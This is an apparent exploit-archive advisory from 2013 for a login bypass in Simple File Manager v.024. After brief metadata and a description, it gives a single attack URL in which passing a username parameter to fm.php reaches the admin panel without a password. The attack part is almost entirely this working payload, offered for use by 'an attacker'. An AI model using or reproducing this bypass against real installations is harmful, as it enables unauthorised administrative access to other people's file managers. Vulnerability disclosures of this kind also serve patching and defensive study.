Simple File Manager 024 Login Bypass

`# Exploit Title: Simple File Manager v.024 Login Bypass Vulnerability  
# Date Published: 2013/6/17  
# Exploit Author: Chako  
# Software Link: http://onedotoh.sourceforge.net/  
# Version: v.024 (Doesn't work on v.025)  
  
  
Description:  
=====================  
A vulnerability has been identified in Simple File Manager v.024, which could be exploited  
by attackers to bypass security restrictions into admin panel.  
  
  
Exploit:  
=====================  
An attacker can exploit this issue using a browser.  
  
  
http://www.target_example.com/fm.php?u=[UserName]  
  
`